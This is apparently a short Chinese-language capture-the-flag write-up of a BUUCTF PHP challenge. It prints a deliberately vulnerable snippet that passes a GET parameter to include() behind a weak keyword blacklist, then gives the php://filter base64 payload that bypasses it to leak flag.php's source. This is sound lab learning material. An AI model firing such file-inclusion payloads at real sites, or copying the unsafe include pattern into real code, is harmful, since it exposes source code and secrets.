打开环境
查看源代码,发现一个页面
跳转过去
点一下secret
看到这个页面果断上burp
得到另一个页面
跳转过去得到代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
根据程序,我们要传入一个file参数为flag.php
然而却回显了这么一个页面
有点懵
burp上查看一下
也没有
看看控制台的属性是不是设置成hidden了
同样也没有
真的气,到最后一步了却找不到flag
好久之后才想起来flag.php,一个php文件,那我们可以读它的源码啊
http://22795964-60ec-4bea-9b8c-6b944c4ea759.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
果然,返回了flag.php的base64编码,随后解码就可以得到flag
哎,说到底还是太菜,经验也少